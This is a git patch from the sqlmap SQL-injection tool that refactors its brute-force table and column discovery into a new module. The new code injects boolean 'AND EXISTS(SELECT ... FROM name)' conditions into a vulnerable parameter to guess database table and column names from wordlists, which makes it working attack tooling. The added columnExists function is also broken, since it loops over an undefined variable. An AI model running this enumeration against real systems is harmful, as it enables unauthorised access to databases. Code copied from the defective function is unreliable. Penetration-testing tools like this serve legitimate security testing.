From 4be063116156ce2dc78be7d9eeae1487fbb77de1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 9 Nov 2010 09:42:43 +0000 Subject: [PATCH] refactoring of brute force techniques --- lib/controller/action.py | 5 +- lib/techniques/brute/__init__.py | 10 ++++ lib/techniques/brute/use.py | 94 ++++++++++++++++++++++++++++++++ plugins/generic/enumeration.py | 39 +------------ 4 files changed, 109 insertions(+), 39 deletions(-) create mode 100644 lib/techniques/brute/__init__.py create mode 100644 lib/techniques/brute/use.py diff --git a/lib/controller/action.py b/lib/controller/action.py index a7e82f92b..83e1bbf09 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -16,6 +16,7 @@ from lib.core.data import paths from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS from lib.techniques.blind.timebased import timeTest +from lib.techniques.brute.use import tableExists from lib.techniques.error.test import errorTest from lib.techniques.inband.union.test import unionTest from lib.techniques.outband.stacked import stackedTest @@ -105,10 +106,10 @@ def action(): conf.dumper.dbTables(conf.dbmsHandler.getTables()) if conf.cExists: - conf.dumper.dbTables(conf.dbmsHandler.tableExists(paths.COMMON_TABLES)) + conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) if conf.tableFile: - conf.dumper.dbTables(conf.dbmsHandler.tableExists(conf.tableFile)) + conf.dumper.dbTables(tableExists(conf.tableFile)) if conf.getColumns: conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns()) diff --git a/lib/techniques/brute/__init__.py b/lib/techniques/brute/__init__.py new file mode 100644 index 000000000..24efa8708 --- /dev/null +++ b/lib/techniques/brute/__init__.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python + +""" +$Id$ + +Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) +See the file 'doc/COPYING' for copying permission +""" + +pass diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py new file mode 100644 index 000000000..d34af6202 --- /dev/null +++ b/lib/techniques/brute/use.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +$Id$ + +Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) +See the file 'doc/COPYING' for copying permission +""" + +import time + +from lib.core.agent import agent +from lib.core.common import dataToStdout +from lib.core.common import getConsoleWidth +from lib.core.common import getFileItems +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.common import randomInt +from lib.core.common import safeStringFormat +from lib.core.data import conf +from lib.core.data import logger +from lib.request.connect import Connect as Request + +def tableExists(tableFile): + tables = getFileItems(tableFile, None) + retVal = [] + infoMsg = "checking tables existence using items from '%s'" % tableFile + logger.info(infoMsg) + + pushValue(conf.verbose) + conf.verbose = 0 + count = 0 + length = len(tables) + + for table in tables: + query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %d FROM %s)", (randomInt(1), table))) + query = agent.postfixQuery(query) + result = Request.queryPage(agent.payload(newValue=query)) + + if result: + infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), table) + infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg))) + dataToStdout(infoMsg, True) + retVal.append(table) + + count += 1 + status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%') + dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True) + + conf.verbose = popValue() + + dataToStdout("\n", True) + + if not retVal: + warnMsg = "no table found" + logger.warn(warnMsg) + + return retVal + +def columnExists(table, columnFile): + tables = getFileItems(columnFile, None) + retVal = [] + infoMsg = "checking column existence for table '%s' using items from '%s'" % (table, columnFile) + logger.info(infoMsg) + + pushValue(conf.verbose) + conf.verbose = 0 + count = 0 + length = len(tables) + + for column in columns: + query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s)", (column, table))) + query = agent.postfixQuery(query) + result = Request.queryPage(agent.payload(newValue=query)) + + if result: + infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), column) + infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg))) + dataToStdout(infoMsg, True) + retVal.append(column) + + count += 1 + status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%') + dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True) + + conf.verbose = popValue() + + dataToStdout("\n", True) + + if not retVal: + warnMsg = "no column found" + logger.warn(warnMsg) + + return retVal diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 13cb3c01c..b566ad9e6 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -42,6 +42,7 @@ from lib.core.unescaper import unescaper from lib.parse.banner import bannerParser from lib.request import inject from lib.request.connect import Connect as Request +from lib.techniques.brute.use import tableExists from lib.techniques.error.test import errorTest from lib.techniques.inband.union.test import unionTest from lib.techniques.outband.stacked import stackedTest @@ -728,7 +729,7 @@ class Enumeration: elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: - return self.tableExists(paths.COMMON_TABLES) + return tableExists(paths.COMMON_TABLES) self.forceDbmsEnum() @@ -845,42 +846,6 @@ class Enumeration: return kb.data.cachedTables - def tableExists(self, tableFile): - tables = getFileItems(tableFile, None) - retVal = [] - infoMsg = "checking tables existence using items from '%s'" % tableFile - logger.info(infoMsg) - - pushValue(conf.verbose) - conf.verbose = 0 - count = 0 - length = len(tables) - - for table in tables: - query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT 1 FROM %s)", table)) - query = agent.postfixQuery(query) - result = Request.queryPage(agent.payload(newValue=query)) - - if result: - infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), table) - infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg))) - dataToStdout(infoMsg, True) - retVal.append(table) - - count += 1 - status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%') - dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True) - - conf.verbose = popValue() - - dataToStdout("\n", True) - - if not retVal: - warnMsg = "no table found" - logger.warn(warnMsg) - - return retVal - def getColumns(self, onlyColNames=False): if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: errMsg = "information_schema not available, "